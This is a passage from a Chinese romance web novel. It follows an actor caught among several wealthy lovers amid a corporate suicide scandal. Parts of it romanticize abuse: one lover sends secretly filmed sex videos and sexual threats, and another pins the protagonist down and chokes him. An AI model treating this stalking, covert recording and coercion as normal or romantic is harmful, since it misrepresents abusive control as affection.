直到近距离看,姜瑰才能看清杜温瑜瞳孔深处的底色是带着一抹灰色的, 很像荒漠狼的瞳孔。 他的手比姜瑰想象中的还有力度更重,只捏住下颌骨便能轻易让姜瑰连退让和逃跑都做不到。 杜温瑜唇覆上来,像主人一般品尝姜瑰的气息, 然后亲了亲他的鼻尖:“还带着我的味道,这么贪吃的宝贝。” “你有病。” 姜瑰没忍住还是骂他。 杜温瑜抓了姜瑰的手,把玩很久,像儿童口唇期未被满足的孩子似的咬着他的指尖,轻声一笑,“被你发现了。” 姜瑰:“?” 杜温瑜的鼻尖几乎擦过姜瑰的鼻尖:“那更不能放过你了,傻瑰瑰。” * 衣领上的那滴血最终还是没被擦掉。 好在姜瑰今天换的衣服也是偏深色,只要不凑太近去看,几乎看不出来什么端倪。 只是一夜不见。 域叶却像换了人间。 姜瑰没开车,就准备从员工通道走进去,只是没想到平时人流很少的位置此时此刻也挤满了各类的围观群众和新闻记者。 闪光灯不断打着,里面更深层的记者似乎围着一个才从写字楼里走出来的人。 距离太远,看不清晰。 姜瑰踮起脚往前够。 才挤了两步就听身边人毫不遮掩的大声嚷嚷:“我看八成和这个空降老板脱不开关系。” “就是啊,白天才空降,半夜老股东就跳楼自杀。够神的了哦!” “杀人要偿命啊,这老黎总辛苦多年了,平白给一个毛头小子做了嫁衣。” “你看他接受采访那副样子冷得,多说一句都不愿意,杀人犯狂什么啊?” 姜瑰浑身僵了一下。 他下意识带起自己外套上的兜帽,又向上使劲拽了拽口罩,才用指头戳了旁边的一个人:“那个,我问下……这是谁跳楼啊?” 姜瑰特意找的中老年妇女,以免被认出自己。 果不其然。 旁边的中年女士早已经沉浸在八卦的氛围里不知今夕是何年:“是域叶最大的老板啊!黎重,黎重你知道吗?” 中年女士说几句开始八卦:“你们年轻人就应该像人家学习,多少要有点良心的哦。” 域叶本身的警卫处和赶来的警察驱散着人群。 姜瑰远远看到了公司花坛旁边那一摊黄黄白白的东西。 明明这么远应该闻不到任何味道的。 但他还是干呕了一下。 A市有无数像域叶这样高的楼,里面装着来来往往的人潮,也装着生意兴衰输赢赌注。 姜瑰抖着手想从衣兜里拿烟,听到旁边围过来的粉丝在跟保安打听自己的情况。 “请问一下网上刚传出来的姜瑰新电影辞演是真的吗?” “对对,就是巫南导演那部!” 粉丝多数都是年轻女孩,安保不敢太用力驱逐,只是拦在外围:“对不起这是公司艺人内部问题。” “那能不能帮我们带话给姜瑰让他千万别演了!离巫导远点行吗?” “是呢,巫南导演私生活一直很干净也很骄傲的,被姜瑰带歪,我们真的很担心!” “对呀对呀,能不能帮我们跟姜瑰说他既然这么大脸要辞演可千万别又回去了哈!” “我也求巫导独美,求带话姜瑰谢谢!” 哦。 原来不是他的粉丝。 是巫南的梦女粉。 姜瑰压低帽子,叼着烟,绕过人群走了。 前门被人潮堵得水泄不通,公司的侧门倒是通顺如常。 姜瑰遥遥看了一眼还在被记者和警察围着的虞亭至,坐电梯重新回到自己的休息室,拉开门,看到休息室内熟悉的一切,突然觉得有些恶心。 “我给你喂过很多次药呢,宝宝。” “乖瑰瑰,你休息室的床都被你弄湿了,是我抱你换的床单。你喜欢吗?” 杜温瑜坐过的那张书桌还摆在落地窗前。 姜瑰猛地掐灭了烟,反手锁门,逃也似的冲出走廊——险些撞上一个西装革履的秘书。 “抱歉姜先生。没烫到您吧?” 秘书手里还端着咖啡,在冷气里冒着一丝热度。 姜瑰抬头,面前的人很眼生,从没在域叶见过。 “我姓李,是夫人派过来给虞少爷做总助的。” 秘书笑得很客气,“姜先生叫我Ada就可以。” 姜瑰点了下头。 Ada问:“姜先生要不要回虞少爷办公室休息一下,他刚刚出门前说了,如果您回来,让我先带您去那里等他。” 姜瑰好奇:“虞亭至办公室?” “虞少爷觉得您肯定不会喜欢黎董那间办公室,他重新选了一间。” Ada笑盈盈的,“我让秘书办给您准备差点,您可以在那边休息,等虞少爷回来。” 到底是自己呆过这么多年的域叶。 姜瑰也没什么怕的,老老实实跟着去了。 不知道是听说了具体黎重干了什么,还是出于其他更多原因。 虞亭至新选的这间办公室的确和黎重曾经那间隔了老远,不仅不再同一层,连方向都不一样。 Ada带着姜瑰进去的时候桌上已经摆好了小餐点和轻食。 “姜先生,刚刚来的消息虞少爷可能要先过去配合调查。您看要用晚餐吗?” 姜瑰有点着急了:“为什么要调查?不是黎重自己跳楼的吗?楼下他们说监控都拍到了啊!” “话是这样说的。” Ada将咖啡端端正正在姜瑰面前放好,耐心道,“但还有很多经过他们需要了解,更何况虞少爷是空降,黎重背后也是有众多因素的,抱歉,姜先生。” 或许是因为药物用多的原因,姜瑰在情感态度上的反应总是迟钝。 像是一根已经被拉扯超量的皮筋,无论再怎么用力或保护,都很难再回到最初的模样。 姜瑰想了一会儿,后知后觉点点头:“谢谢。” “您太客气了。” Ada依旧职业而礼貌,“既然您没有特别偏重的食材,那我先让助理按照平时您的口味上,如果虞少爷的确太晚了,我再送您回去。” 这间办公室依旧很新,大概是才布置出来不久的原因,很多工作设施还不完善。 但姜瑰看到了挂在文件柜旁边的一幅画—— 是两人第一次见面的时候,虞亭至画的那幅。 被姜瑰用黑笔涂了脸,也彻底破坏了艺术性,空剌剌的挂在那里,显得突兀又怪异。 姜瑰踮起脚,伸手摸了摸那张画面。 干涸的油彩有着些微不平的高低起伏,被他涂抹过的黑色附着在色泽鲜明的图景上,有种令人发笑的滑稽感。 可这让姜瑰觉得安全。 他搬了个椅子过来,爬上去将这幅画从挂钩上取了下来,然后抱着重新回到沙发上。 月色落进浅白色窗纱。 姜瑰仿佛听到耳边有细碎的声响,一下子睁开眼睛。 “吵到你了?” 男人的声音清澈,既不是杜温瑜那种被众人追捧的低音,也不是谢筠池总是高高在上似笑非笑的味道。 是虞亭至。 身上不知什么时候盖了一件男士的长款披风,是非常挡风的面料,将空调的冷气遮得彻彻底底。 原本抱在手中的画放在桌子旁。 虞亭至向姜瑰伸出手:“害怕了?来,老公抱抱。” 一滴泪蓦然从姜瑰眼眶里落了下来。 狠狠砸进了虞亭至的风衣里。 他眼底一慌,伸手圈住姜瑰的腰,像大人抱小孩似的围在怀里:“怎么哭了?不哭,是不是累了?受委屈了?” 止不住的眼泪像彻底失去控制的堤坝一样滚出眼眶。 很快就浸透了虞亭至抱着姜瑰的右半边肩膀。 他哭得无声无息又撕心裂肺,随着泪意决堤抽泣渐渐变成放声大哭的伤心,最后是整个人都在抽抖的恸哭。 一些尖锐又沙哑的哀鸣像被切开了气管的小动物,在不顾一切的寻求最后一丝慰藉。 虞亭至心也被姜瑰哭碎了,他来不及伸手擦,便抱着姜瑰一点一点去吻他脸上的泪:“不怕,瑰瑰,我保护你,无论什么事,我都保护你。” 姜瑰漂亮的眼睛里全是水痕,他怔怔的瞧着虞亭至,哭到后面连声音都吐不出来,只剩一些狼狈的呛咳和反复的打嗝。 秘书给虞亭至沏的热茶就在桌上。 虞亭至喝一口热茶,由滚烫到温度适宜,再搂着姜瑰哺进他唇齿里,有力的指骨温柔的擦去嘴角带出的水渍。 “不会有事的,瑰瑰。” 虞亭至垂头,额头抵在姜瑰光洁的额头,“我们会好好在一起,不怕,宝贝。不要怕。” 姜瑰缩在虞亭至怀里闭了闭眼。 黎重摔死的惨状就立刻浮现在他面前。 铺开的血,溅起的人体,黄白的组织。 姜瑰颤抖着张大眼睛,伸出手,一点点,缓缓的,抱住虞亭至的腰。 姜瑰说:“我看到……黎重了。” “我知道。” 虞亭至一下一下亲姜瑰的发顶,“Ada跟我说了,今晚我们不睡觉,我带你去昙山看日出,好不好?” 姜瑰没有说好也没有说不好。 他问:“然后呢?” “然后我们去最大的游乐园,玩个开心。” 姜瑰吸着气,眼睛一动不动的看着窗外的夜色。 这并不是A市最好的CBD视野。 姜家那栋也不是。 这座大城市最好的主宅在谢筠池的麓岛一号,在杜温瑜的七号公馆。 而最好的写字楼也被谢筠池所掌控。 姜瑰并不了解杜温瑜。 可他不明白为什么一闭眼,他的脑海里就跳出黎重的惨死和杜温瑜绅士儒雅的笑脸。 这只是普普通通的一个夜晚。 之后会迎来同样普普通通的一个清晨。 这座城市的八车道依旧拥挤。 街角的摊贩和络绎不绝的人流像是跳动的音符。 今日昙山山顶无雾。 除了为数不多的游客和不远处正在每日早晨约定好唱歌的老年乐器合唱队。 山顶显得空旷。 橙黄色的日头遥遥从地平线的那头升起来,跳出地平线,慢慢攀升,光线落进古代皇家私宅,接着在一瞬间天光大亮。 姜瑰突然想起小时候自己在课文中学过的一篇课文——原来日出真的是课文里写的那样。 真可惜人生到此,竟然才第一次看到。 不过总是看到了的。 虞亭至的掌心温热坚定,日光的光影洒下来,将两人的身影拉长相交,看上去竟是个交颈的模样。 姜瑰觉得有点吉利,摸出手机拍了一张。 他手机昨晚去虞亭至办公室后才冲上的电,后来睡着就随意放在桌上,没有再看一眼。 此时拍完照片。 姜瑰才发现原来在关机期间虞亭至给自己发过这么多信息。 “弄完了吗?我来接你。” “乖宝?” “瑰瑰,还在忙吗?” “太晚了,叫人家送也不方便,我现在过来吧。” “我在他家别墅外面了。” “别墅灯黑了,乖宝,睡着了吗?” “公司有点事我回去一趟,别担心,明天见。” “等我。” 姜瑰猛地暗灭手机。 他狠狠揉了下眼,揉得眼尾通红,才敢握紧虞亭至的手。 他的语气又肆意又骄纵,仰起脸。 “吹吹,进沙子了。” “好。” 虞亭至便牵着他,毫无不耐烦的一点点吹,“泛红了,我们一会儿回去的路上在医院看看。” 姜瑰将泛出鼻腔的酸重新吞下去,摇摇头:“不用。” 没有质问,没有试探,没有不耐。 天边的云层被晨初的太阳镀上一层金色,亮得姜瑰感到绝望。 他轻轻伸手碰了碰脸,将眼尾的一点泪痕擦得干干净净,转过脸大笑着问虞亭至:“对了,我的亲亲新老板。” 姜瑰那张艳丽的脸笼罩在晨光里,有种模糊到不真切的美感。 “我的五千万违约金到账了吗?” “急什么?” 虞亭至伸手刮了下姜瑰的鼻尖,回答了他,“本来在僵持,昨天半夜网上突然上传了一段你们那个剧组的原视频,直接佐证是巫南先提解约。” 姜瑰顿了一下,没有开口。 虞亭至道:“不出意外的话,这两天就能收到了。” 五千万比姜瑰差的四千万还要多出一千万。 昙山日出时起了风。 虞亭至把姜瑰裹在风衣里,两人一直到日头稳稳当当的照亮这一片的山坡,才在明媚的光线里接了个绵长又温柔的吻。 因为身高差明显,姜瑰从虞亭至风衣里仰起脸的时候,正巧能蹭到他新长的胡茬。 “好扎。” 姜瑰骄里娇气的抱怨,还很有脾气的踩了虞亭至一脚。 “嗯。” 虞亭至低头又扎了他一下,“回去给我剃了?要不晚上要扎你其他地方了。” 姜瑰:“……” 姜瑰瞪了虞亭至一眼别开视线。 远处老头老太太的歌舞团在用手风琴合唱老歌《明天会更好》,晨练的老人四散开来,看上去无比悠闲。 姜瑰从小生活的局促又忙碌,从没见过这么缓慢的节奏。 就好像真的如同歌里说的——明天会更好。 姜瑰伸手抱住了虞亭至的腰。 和自己单薄瘦弱毫无几丝肉的骨架相比,虞亭至腰腹线条分外流畅,是种长期打磨后的形状。 很好摸。 姜瑰情不自禁的多摸了两把。 直到虞亭至抓住他手,无奈低头:“瑰瑰,就非要现在摸吗?” 姜瑰很坚定:“再摸五毛钱的。” 虞亭至:“……” 或许由于自小身体就不够结实的原因,姜瑰的手温度终年偏低,甚至引起过其他化妆师和造型师的疑惑。 而虞亭至则是温暖的。 温度从姜瑰的手掌传递,直到他整个人都好像多了那么一点点少得可怜的决心。 “我给你买个礼物吧,虞亭至。” 朝霞把姜瑰向着光线的那半边侧脸映得非常生动雀跃,他从虞亭至风衣里钻出去,拉过男人的手,“我给你送个好礼物。” 虞亭至被姜瑰带着向前:“什么?” “啰嗦,快开车,买到你就知道了!” * A市许多大型商场都要到十点以后才陆续开门。 姜瑰显然是后知后觉才意识到这一点,但又不肯老老实实承认,于是非要拉着虞亭至一起窝在地下停车场里,硬生生成了今日份中寰商圈奢品珠宝的第一位客人。 他戴了口罩和帽子,像个贼似的走在虞亭至身后。 虞亭至向来大方,毫不避讳的牵着姜瑰的手:“想看什么?” 姜瑰带着虞亭至走过那些花里胡哨的饰品,最后在总台最里面的一片柜子前停下来。 珠宝店里的柜子摆设也是有讲究的。 镇店之宝多数摆在中央,更符合大众消费和审美的摆在外围,内里深处的几排柜子要不就是贵宾区,要么就是特殊孤品,总之价格不菲。 柜姐是市场营销里最有眼色的一类人。 她看不清姜瑰的样子,但她一眼看到虞亭至脸上对于贵价标签的平淡和无视。 这才是最有潜力的一类客人。 更何况——这一排柜子里呈现的全是戒指。 订婚戒,结婚结,对戒,孤戒。 柜姐热情问姜瑰:“是给您和您女朋友选吗?您看喜欢哪种色?” 虞亭至就在姜瑰身后站着。 “哎……不是。” 姜瑰摸了摸鼻尖,还是开了口,“是我和我男朋友,麻烦您给看看,有合适的情侣戒吗?” 柜姐了然:“当然有啦!您稍等我去给您拿图样。” 姜瑰有点犹豫:“图样,是没有现货吗?” “是这样先生,因为男士情侣对戒购买比较少,而且一般都是定制款,所以我们还是更推荐您根据和爱人的喜好来定制哦。” 有力温热的大手包住姜瑰放在柜台上的手。 虞亭至含笑的眼睛看过来:“原来带我来是想套牢我。” 姜瑰:“……” 能在多年前主动勾上谢筠池,又连着换了巫南和杜温瑜,姜瑰觉得自己从来脸皮都是足厚够的。 但原本藏着的秘密被突然挑破。 姜瑰竟觉得有些不好意思,一下子红了脸。 “……你不想要就算了。” 姜瑰伸手就要从虞亭至的掌心里抽出自己的手,不仅没成功,反而被握得更紧了些。 虞亭至另一只手揽住姜瑰,低头,在他额头上落了个吻。 “我很喜欢,宝贝。” 虞亭至牵着姜瑰的手,是最贴近的五指相扣的姿态,又重新说,“谢谢你。” 姜瑰:“……” 他从没有过一段正常的恋爱,亦没有过正常的感情。 哪怕他看过许多恋爱剧本—— 也是直到这一刻,姜瑰才知道,原来谈恋爱真的会开心,会害羞,会心跳加速。 原来和其他人给自己的不一样。 和伤口疼痛带来的快感也不一样。 柜姐拿来图册,用修长的手指逐一给两人介绍。 姜瑰怔怔的看着那些图册上熠熠生辉的情侣对戒,任由柜姐进行量尺寸和款式推荐的操作。 他突然问:“如果我在这里订好戒指的话,大概多久能取到呢?” 柜姐道:“一般大概三个月左右,先生,如果您很急的话也可以走我们的VIP专属通道,只要一个月,过需要您必须是VIP用户才可以。” 他当然是VIP用户,甚至可以说是S级VIP用户。 三个月。 姜瑰没再说话,旁边的虞亭至倒是选到一个他很心仪的款式,轻轻拍了拍姜瑰的头让他一起看。 两个人能在一起合拍又顺心,很多时候姜瑰觉得或许他们本来就有很多相同之处。 虞亭至选的那颗戒指简约但不简单,六芒星切割的蓝宝石在戒托中熠熠生辉,衬得周围一圈碎钻和戒圈上特殊的内扣款式,无不向外彰显着两人关系和其亲密。 他又给姜瑰指了其他几组对戒,不知道是不是先入为主的观念,姜瑰还是觉得第一对最好。 “这个要等多久呢?” 姜瑰问。 柜姐又仔细确认了一遍时间:“姜先生,我们可以为您做加急,两个月以后就能到了。” 虞亭至亲了亲姜瑰的脸:“那我们就要这一对,哪里付定金?” 柜姐:“这边。” 姜瑰有点着急的跟过去:“我来付。” “我来。” 虞亭至单手揽了姜瑰的腰,把他按在座位上坐好了,“那部电影的解约费留着给你做零花钱,嗯?” 姜瑰:“……” 情侣对戒有自己的特殊性,除了双人的圈口和戒圈选择,还涉及到双方戒圈内是否要落款刻字等一系列问题。 比起自己,姜瑰显然更相信虞亭至的审美,于是老老实实在一旁边玩游戏边等着他。 中途虞亭至接了一通电话,过了一会儿,又接了一通。 等所有尺寸都确定完毕,姜瑰有点好奇的偏过头问虞亭至:“谁打电话啊?” 虞亭至还没来得及回答,又一通电话接了进来。 “不要紧。” 虞亭至轻轻捏了下姜瑰的脸,也不避讳他,接通电话讲了几句。 这次姜瑰隐约听懂了大概是公司的问题。 其中有些是英文的词汇他听不太懂,除此之外就是一些是税务和投资问题。 令人头大。 姜瑰索性去商场的冰淇淋车上买了盒巧克力口味的冰淇淋,一边吃一边等虞亭至打完电话。 几分钟后。 虞亭至放下电话,有些抱歉的亲了亲姜瑰:“宝贝,公司有点事我要去处理下,我先送你回家好不好?” 姜瑰摇摇头,踮起脚:“老公亲一下。” 这座商场是A市最有名的地段,此刻客人不算多,但也有人路过。 虞亭至把姜瑰头上的兜帽给他戴起来遮上,然后俯身,跟他接了个吻:“在家等我,好不好?” “好哦。” 姜瑰唇很软,很容易被男人亲肿,显得盈盈可人,“不过你不用送我,我再转一会儿好了,我等您吃晚餐。” 虞亭至有些犹豫,但手机不间断的再次响起来。 他只得退了一步:“好,那晚上想吃什么?我买回家给你做。” “玉米排骨汤吧。” 姜瑰口味其实很家常,“还要吃甜品,你给我做双皮奶。” “行。” 虞亭至应了,在姜瑰唇角又亲了亲,松开手,“乖乖在家等我,我处理完就回家。” 姜瑰乖乖顺顺的点点头:“嗯嗯,知道了,去吧去吧。” 虞亭至挺拔高挑的身影向前走了,走过转角,下了电梯,消失在视野尽头。 姜瑰从兜里摸了根细烟叼在嘴边,又去摸火机,摸了半天才想起来,是今天早上刚刚换了衣服。 姜瑰转身回了刚才那家店。 柜姐也还是刚才那个,见人回来有些惊讶:“先生您好,是刚刚的定制还有其他需求吗?” 大概是为了满足稀有和等待才能体现价值的特点,定制的珠宝向来是店里最赚钱的买卖。 可两个月也太久了。 姜瑰重新坐下来:“有没有现在就有货能拿的对戒?” 柜姐:“……啊,您不是才定做了一对吗?” 姜瑰的面上有一丝难以察觉的急躁,很细微,却搅得他心神不宁:“那一对你照常做,我还要再买一对。” 这下柜姐立刻又有了笑容:“有的有的,先生。您看看这几款还喜欢吗?” 男款对戒到底是少数,选来选去能拿现货和改圈的只有几只。 姜瑰在犹豫和放弃之间徘徊许久,还是挑了一对自己十分勉强能看的上眼的付了钱。 很巧的是这一对的圈口刚巧对上他和虞亭至。 柜姐很快包装好给姜瑰递了过来,很有素养的恭喜:“这一对也很衬你们,祝福您和刚才那位先生天长地久,百年好合。” 姜瑰本来都接过来转身走了,听到这句话,又停下脚步,回头看了柜姐一眼。 那一眼眼里神色奇怪,像是含了笑,又像是怨毒和嘲弄。 柜姐竟被看得打了个冷颤。 “虽然但是,好吧,谢了。” 姜瑰戴着口罩,看不清神情,“对了,靓女,如果下次他来取戒指,别跟他提起我买的这一对。可以吗?” 柜姐立刻答应了。 姜瑰似乎有些满意,挥挥手,出了店门。 * A市其实没有雨季,但今年不知为何,像是格外多雨。 倾盆如注的雨水淹没道路。 姜瑰坐在商场角落的咖啡店离喝热可可,手机里是虞亭至刚发来的信息。 “下雨了,我让助理去接你,别自己回家,容易淋到雨。” 他没回信息,随手往下翻了翻。 虞亭至的手机来电热闹。 姜瑰的手机里也不遑多让。 只是他总是静音。 在姜瑰所有的通讯软件里,除了必要的工作信息,其余人一律免打扰。 这是个很好的方法。 不仅避免被抓到,还避免被查岗,更避免两个男人撞在一起的尴尬场面。 第二栏是杜温瑜的信息。 足足八十多条。 姜瑰点进去看——全是各种偷拍的照片和视频。 从姜瑰早上下车回到域叶,到远远看跳楼的场景,再到由员工通道走进公司。 接着就是和虞亭至亲吻拥抱的画面,一起在昙山看日出的照片,一起上下车逛街。 和一起挑选戒指的视频。 最后一条信息终于不再是姜瑰和虞亭至。 而是他和杜温瑜——在床上。 那真的是一个很大的视频,无论是从时长还是画质,都令人觉得窒息。 玫瑰花房的夜静谧而空旷。 越发显得视频里的声音糜乱而水声滋滋。 姜瑰甚至从没见过哪一款监控探头能有如此高清的捕捉感,三百六十度无死角的记录出他所有难堪和放浪的模样。 监控视频左上角的声音一秒一秒的过。 杜温瑜像是能从不知名的任何角落窥到他姜瑰正在看这视频。 新一条的信息传了过来。 “宝贝,我很不开心你和他去选对戒呢。” 在文字表现的世界里,许多情感被简易的文字压抑收敛,又反而更显得病态。 “你骗了我,我却那么相信你,好令人难过。” 杯子里的热可可慢慢凉了,捂在白瓷杯上的指尖也渐渐攥紧。 姜瑰甩过谢筠池,甩过巫南,他毫不手软的利用任何人——唯独不知道为什么,他有些怕杜温瑜。 这种怕或许来源于床上的控制,或者来源于其他控制,其他挣脱不了的控制。 姜瑰也说不明白。 但他的直觉总是提醒他,离杜温瑜远一点。 新的信息又来了。 “宝贝,你们的对戒很廉价。只有这样的珠宝才配得上你。” 杜温瑜发来一张图。 图上是铂金做成的脚环,上面每一节都镶嵌大颗纯度极高的祖母绿宝石,价值连城。 脚环连接处用同样细长的链条栓起来,一圈一圈的绕在男人骨节分明的手骨上,珠宝感强得熠熠生辉。 如果忽略这是一件漂亮的刑具。 “瑰瑰,如果再不快点回来,那只有等你的水彻底浇透它,我才会放你睡觉了。” 杜温瑜不堪入目的话一句又一句,似乎始终没有得到回复让这个男人内心的嫉妒和欲望不断灼烧。 店里没其他人,咖啡台后两个女孩聊着八卦:“你有看刚刚爆上头条那个域叶税务问题吗?” “看到了看到了,是不是姜瑰的公司?哇塞他公司终于出事了,希望姜瑰也出事!” “好像不止是税务问题,还牵扯到谋杀前高管……哇,这个新ceo好帅。” 姜瑰愣了一下,关了通讯软件,点开热搜去看。 ——域叶果然爆上了第一名。 “疑域叶新ceo涉谋害前公司高管被带走调查” “域叶深陷经济问题,恐偷税千万。” “巫南新剧副导指责域叶言而无信,随意调换演员,已正式提出起诉。” 姜瑰赶忙给虞亭至打电话。 没有接听。 他赶忙又给虞亭至助理打,过了一会儿,电话通了。 “虞亭至怎么回事?” 姜瑰劈头就问。 助理支支吾吾一会儿,才道:“姜先生,具体我们也不太清楚,这件事爆出来很突然,虞总明明是刚过来的,前面那些事都和他扯不上关系……” 姜瑰立刻懂了:“你们意思是有人针对他?” “姜先生,不是我的意思……” 助理身边似乎有人,每一个字都说得谨慎,“这件事闹得很大,是虞总母亲过来了。” 虞亭至只和姜瑰提过一次他母亲。 姜瑰突然想起,如果不是因为自己,虞亭至是不会回他母亲那边的。 短暂的杂音过后。 电话被另一个人接过去。 那个女人的声音干练,老道,凌厉,又像是带了些疲惫:“是姜瑰吗?” “……是。” “幸会了,虽然没见过面,我是虞亭至的母亲。” 姜瑰:“……” 他并不知道该说些什么。 索性虞亭至母亲也没给他留他太多说话的机会:“阿至那边很多事还要等我去忙,姜瑰,我只能和你长话短说。” “你放过阿至吧。” 姜瑰怔了怔:“阿姨……” “别误会,我不是那种封建保守和老古董。我不赞同你和阿至在一起,是因为你实在太乱了。” 虞亭至母亲道,“姜瑰,我说直接一点,就我目前为止知道的,你至少和杜温瑜,谢筠池,巫南三个人都有关系。” “域叶是小公司,我也不是什么大人物,能突然出这么大事,我们都应该心知肚明其中原因。” “姜瑰,你身边的这些人,阿至一个也惹不起。所以麻烦你放过他吧。” 电话挂断。 姜瑰在椅子上坐了许久,最终闭了闭眼,将杯子里最后一口可可喝了干净。 他重新打开手机,翻开聊天软件一连串的记录。 跳过虞亭至,跳过杜温瑜,不断向下。 是一个已经许久没联系过的头像框,纯黑背景,单上面一个毛笔的“池”字。 这字写得其实不好,笔锋无力,落笔走势生硬,运笔亦不流畅。 但这个头像谢筠池从来没换过。 姜瑰想起很多年前谢筠池握着他的手写下这个字的时候。 他还不知道,原来姜佩玉最喜欢白鸢尾。 白鸢尾确实很纯洁。 不像他姜瑰,就只喜欢和血一样颜色的红玫瑰。 有些事随着时间过去了。 有些又怎么都过不去。 姜瑰平静的点开那个头像:“域叶的税务问题清单是你漏出去的,虞亭至也没惹你。为什么?” 那个人仿佛就等在手机前,就在等姜瑰的信息。 下一秒。 一个新回复跳出来。 “香榭丽迩温泉酒店六十九层,现在,来见我。” 与此同时。 姜家别墅。 一位新客的突然到访让这间几近沉寂的老式豪宅焕发出一丝垂死的生机。 杜温瑜的大名在整个A市无人不知无人不晓。 自从他成为杜家真正的掌舵人,他身后家族的一切更是庞大到宛如巨兽,沉沉压在这一方雾霭迷蒙的天空中。 姜昊成和楚岚从没想到有朝一日能被杜温瑜上门拜访,坐在客厅里连手脚都摆的不太自然。 杜温瑜却悠然的仿佛这是他自家的院子。 保镖自然的围在两旁,除了特助May外,另有两位助理送上成箱成箱的礼品。 杜温瑜绅士又温和,一张画皮镶在那张过人的容貌上,无比得体:“二位千万不要拘谨,我这次来,主要是想见姜公子一面。” 楚岚有些茫然,她并不记得姜家能和杜温瑜攀上哪怕一点交情:“您说的姜公子……” “肯定是我们大儿子,阿玉。” 姜昊成打断她,“姜瑰哪能配得上和杜先生出去!” 杜温瑜眸色陡然一暗,随即,却弯出一个笑容:“姜先生说的没错,我是想请大公子姜佩玉随我出门一叙。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第20章【VIP】 第20章 香榭丽尔酒店是谢氏旗下一个六星级标的高档私人酒店, 提供包括会所,宴请,典礼等众多门类。 姜瑰经常去。 准确来说, 他以前就住那儿。 尤其是工作忙的时候, 他一直住在谢筠池自己的总统套房里——正是六十九楼一号。 整层也只有这一个房间。 只不过现在姜瑰已经许久没去过了。 他和谢筠池最后分开闹得难看, 本身两人也没剩几分情面, 那时候姜瑰甚至从来没想过两人有朝一日还能再见一面。 挺尴尬的。 姜瑰推门进去的时候,想。 两人一起生活过,也都知道彼此之间许多生活习惯和物品陈设最终不能共融。 尤其是在谢筠池的麓岛壹号住的那段时间, 大到家居, 小到饰品—— 说来说去,只是不适合。 但这间套房的陈列却还是和姜瑰曾经长住的那段时间一模一样。 他喜欢浅色的床上四件套, 谢筠池只喜欢灰色和黑色。 姜瑰喜欢给沙发上买各种各样奇形怪状颜色各异的靠垫,谢筠池坐沙发却规规矩矩,完美继承谢家所有古板因子。 还有姜瑰爱买各种各样的装饰品, 拍卖会从没空着手回来过。 谢筠池不同,但他办公室所有的挂件装饰,车上的所有香薰玩偶, 都是姜瑰塞进来的。 这间独占一层楼的套房足有两百多平。 大会客厅的落地窗外是这座城市霓虹灯火的夜景, 璀璨辉煌。 只是此时外面又在下雨。 姜瑰很少遇到这种没人接他的情况, 等了许久才打到车,上下车的时候难眠被雨淋湿衣服,带着湿漉漉的气息闯进这间套房里。 他看到谢筠池坐在沙发上,戴着金丝边框的眼镜, 像是在处理工作。 也看到自己曾经买的几个延边特色的抱枕也依旧端正的摆放在沙发上,显得格格不入。 身后谢筠池的秘书阿Li带着侍应生退出去,随着“啪嗒”一声响拉上了门。 过了门厅整个房间里全部覆着地毯, 是姜瑰喜欢的那种长羊毛意式地毯。 他站在地毯边缘犹豫的向前瞅了瞅,谢筠池是穿了拖鞋的。 但这里没有第二双拖鞋了。 姜瑰到底没好意思直接穿着鞋踩上地毯,他索性光着脚往前,一路走到谢筠池身边。 房间内开了冷气,温度适宜, 但待久了又像是温度过低,有些凉意。 姜瑰站定在谢筠池身边。 等了好一会儿,也没见谢筠池开口说话,仿佛格外专注的盯着笔记本屏幕上的工作,一丝不苟。 姜瑰:“?” 姜瑰没忍住伸出脚踢了一下谢筠池的小腿,没用力,只轻轻一下:“哎?” 谢筠池这次放下工作,转过头:“你叫谁?” 姜瑰:“……叫你。” 谢筠池神色冷淡:“我没名字?” 姜瑰:“……谢筠池。” 谢筠池合上电脑。 他眼神落下来,从姜瑰又长长一点的头发看到眼睛,下颌,胸腹,小腿,再到赤着的脚。 谢筠池道:“当时不是撕破脸要走么,现在找我做什么?” 姜瑰:“……” 其实姜瑰性格偏激,做事向来不给自己留后路——从和谢筠池掰了的那一刻起,他压根没想过要回头。 包括现在。 整个套房里萦绕着很淡的香薰味,是他之前在谢筠池家住的时候经常用的那款,一模一样的味道。 谢筠池那时候没说过什么,但大概还是挺满意,才一直用到现在。 姜瑰没话找话:“那什么……你和姜佩玉什么时候订婚礼?” 房间内的光线并不算明亮。 沙发旁的地灯开得昏暗,笼罩在这一片空间里。 谢筠池眉眼似乎比光线还要幽暗:“你很在意?” “啊?” 姜瑰想了想,“挺在意的吧,礼物得提前买。” 谢筠池神色顿时又阴郁几分。 姜瑰倒是敏锐的察觉到谢筠池的不快,他偏了下头,着实没能搞明白他感到不爽的原因。 毕竟他和谢筠池之间真是纯纯的利益交换搭子吧。 姜瑰想。 谢筠池又舍不得去搞他那白月光似的姜佩玉,只能来搞搞他了。 至于两个人之间其他的,姜瑰更懒得想了。 精神问题和相关药物带来的负面影响极大的伤害了许多原本应该存在的正常情绪,更何况随着症状愈发严重,姜瑰的药量已经快加到顶点。 除非特意去思考,他已经几乎无法像正常人一样进行普遍性情绪感知。 姜瑰看着面前时有若无的幻觉和变形的物体,闭了闭眼,问谢筠池:“域叶的那些旧账,和你有没有关系?” 当年是谢筠池把他放进的域叶。 姜瑰还记得。 谢筠池笑了声。 他站起来,赤着脚走过地毯,站定在姜瑰身前,低头:“你想问什么?” 姜瑰下意识想往后退一步。 没退出去。 被谢筠池伸手掐住腰抓了回来。 “跑什么?” 谢筠池俯身,问他,“不是你自己来的这里吗?” 两人在一起过很久,尝过彼此从青涩到成熟。 谢筠池在姜瑰腰间一碰,就碰得他怀里那人剧烈的一阵颤抖,险些腿一软跪在羊毛地毯上。 男人的唇角不着痕迹的松了些,像是满意,又像是怜惜,另一只手向下一带,把姜瑰圈了回来,彻底搂在怀里。 “看你搔的。” 谢筠池吻了一下姜瑰的耳尖,低声对他说。 这段时间姜瑰的身体已经不大如前了。 他伸手去推谢筠池,没推得开,反而被握住手带着向下倒,让谢筠池完全堵在了沙发角落里。 这沙发很软。 像是刚换过沙发套,是姜瑰以前喜欢的颜色。 谢筠池一只手在头顶上轻而易举的钳制住姜瑰的双手,另一只手摸上他的脖颈,接着用力,掐住了他的呼吸。 “记得么?姜瑰,上次你甩我的时候,我说过,千万别来求我。” 谢筠池一双凤眼里像点燃的鬼火,跳动着不安和不祥。 被掐住的脖颈让姜瑰呼吸困难,连苍白的脸上都染上几分薄红,竟像是牡丹绽血,更加漂亮的出奇。 巨大的痛苦和窒息感在这一刻终于抵抗了神经症状。 